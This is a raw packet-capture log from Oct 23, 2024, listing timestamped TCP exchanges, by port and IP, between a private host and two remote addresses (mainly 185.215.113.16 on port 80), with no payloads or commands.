Oct 23, 2024 17:51:46.680146933 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680171013 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680183887 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680210114 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680231094 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680282116 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680303097 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680315018 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680322886 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680325985 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680332899 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680340052 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680345058 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680365086 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680392981 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680404902 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680417061 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680444956 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680457115 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680468082 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680471897 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680480003 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680493116 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680502892 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680512905 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680515051 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680529118 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680531979 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680541992 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680568933 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680824041 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680845022 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680857897 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680869102 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680876017 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680882931 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.680903912 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.680932045 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.681097031 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.681148052 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.681222916 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.681233883 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.681241035 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.681252956 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.681265116 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.681283951 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.681308985 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.681652069 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.681677103 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.681685925 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.681699038 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.681729078 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.681790113 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.681806087 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.681818008 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.681843042 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.681863070 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682225943 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682240009 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682254076 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682274103 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682297945 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682322025 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682332993 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682354927 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682363987 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682368040 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682379961 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682389975 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682391882 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682404041 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682416916 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682425022 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682429075 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682440996 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682446957 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682452917 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682459116 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682466984 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682478905 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682490110 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682502985 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682503939 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682523966 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682543039 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682545900 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682559013 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682586908 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682594061 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682600975 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682605028 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682617903 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682631969 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682658911 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682678938 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682692051 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682732105 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682743073 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682811975 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682830095 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682843924 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682857037 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682862043 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682871103 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682878017 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682884932 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682904959 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682925940 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.682950974 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682962894 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.682975054 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683000088 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683018923 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683027029 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683032036 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683046103 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683059931 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683063984 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683078051 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683079958 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683089018 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683101892 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683105946 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683111906 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683135986 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683163881 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683165073 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683176041 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683186054 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683206081 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683233976 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683245897 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683262110 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683273077 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683284044 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683289051 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683299065 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683335066 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683357954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683367968 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683396101 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683399916 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683404922 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683414936 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683429956 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683459997 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683463097 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683473110 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683484077 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683495998 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683509111 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683526039 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683600903 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683610916 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683621883 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683640003 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683670044 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683722973 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683736086 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683746099 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683758020 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683773994 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683793068 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683803082 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683803082 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683814049 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683832884 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683844090 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683855057 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683855057 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683865070 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683881998 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683885098 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683893919 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683918953 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683948040 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683954000 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.683995008 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.683998108 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684007883 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684042931 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684092045 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684103012 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684113979 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684134960 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684153080 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684247017 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684257030 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684274912 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684287071 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684297085 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684297085 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684308052 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684318066 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684325933 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684329033 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684339046 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684340000 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684350014 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684361935 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684382915 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684423923 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684433937 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684444904 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684468031 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684493065 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684580088 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684591055 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684601068 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684622049 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684629917 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684633970 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684645891 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684658051 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684659004 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684667110 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684678078 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684708118 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684771061 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684782028 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684798002 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684808016 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684818029 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684819937 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684829950 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684832096 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684843063 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684855938 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684865952 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684894085 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684945107 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684956074 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684983969 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.684989929 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.684994936 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685017109 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.685043097 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.685060024 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685101986 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.685148954 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685159922 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685170889 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685179949 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685189009 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685194969 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.685204983 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685223103 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685224056 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.685234070 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685236931 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.685240984 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685276985 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.685314894 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685326099 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685362101 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.685425997 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685446978 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685457945 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685468912 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685471058 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.685478926 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685488939 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685499907 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685502052 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.685509920 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685520887 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685522079 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.685530901 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685540915 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685543060 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.685568094 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.685583115 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.685599089 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.685636044 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.848021030 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:46.848045111 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:46.848078012 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:46.848087072 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:46.848098993 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:46.848104000 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:46.848129034 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:46.848153114 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:46.848162889 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:46.848187923 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:46.861483097 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:46.861509085 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:46.861547947 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:46.861553907 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:46.861581087 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:46.861639977 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:46.862001896 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:46.862025976 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:46.862199068 CEST	49901	443	192.168.2.6	104.102.49.254
Oct 23, 2024 17:51:46.862207890 CEST	443	49901	104.102.49.254	192.168.2.6
Oct 23, 2024 17:51:46.882230043 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.882246017 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.882289886 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.882318020 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.882318020 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.882339001 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.882349968 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.882360935 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.882389069 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.887881041 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.887893915 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.887904882 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.887916088 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.887928963 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.887939930 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.887979031 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888299942 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888350010 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888355017 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888366938 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888392925 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888406992 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888529062 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888547897 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888561010 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888571024 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888573885 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888582945 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888591051 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888595104 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888606071 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888617039 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888618946 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888637066 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888647079 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888653994 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888657093 CEST	49900	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:46.888665915 CEST	80	49900	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:46.888678074 CEST	49900	80	192.168.2.6	185.215.113.16
